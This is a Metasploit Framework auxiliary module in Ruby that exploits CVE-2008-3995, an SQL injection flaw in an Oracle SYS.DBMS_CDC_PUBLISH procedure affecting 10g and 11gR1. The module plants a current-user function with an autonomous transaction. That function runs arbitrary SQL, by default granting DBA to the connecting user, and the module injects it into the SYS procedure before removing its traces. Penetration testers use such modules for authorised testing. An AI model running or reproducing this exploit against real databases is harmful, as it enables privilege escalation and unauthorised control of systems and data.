##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::ORACLE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SQL Injection via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE',
			'Description'    => %q{
				The module exploits an sql injection flaw in the ALTER_AUTOLOG_CHANGE_SOURCE 
				procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege 
				on the vulnerable package can exploit this vulnerability. By default, users granted
				EXECUTE_CATALOG_ROLE have the required privilege.  
				Affected versions: Oracle Database Server versions 10gR1, 10gR2 and 11gR1. 
				Fixed with October 2008 CPU.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2008-3995' ],
					[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2008-09.shtml' ],
				],
			'DisclosureDate' => 'Oct 22 2008'))

			register_options( 
				[
					OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),					
				], self.class)
	end

	def run
		c = connect
		name = Rex::Text.rand_text_alpha_upper(rand(10) + 1) 

		function = "
			CREATE OR REPLACE FUNCTION #{name} 
			RETURN VARCHAR2 AUTHID CURRENT_USER
			IS
			PRAGMA AUTONOMOUS_TRANSACTION;
			BEGIN
			EXECUTE IMMEDIATE '#{datastore['SQL']}';
			COMMIT;
			RETURN NULL;
			END;"

		package = "
			BEGIN
			SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE('''||'||user||'.#{name}||''');
			END;
			"

		clean = "DROP FUNCTION #{name}"

		begin
			print_status("Sending function...")
			prepare_exec(function)
		rescue => e
			return
		end
		print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE...")
		prepare_exec(package)

		print_status("Done! Removing function '#{name}'...")
		prepare_exec(clean)

		c.disconnect
	end

end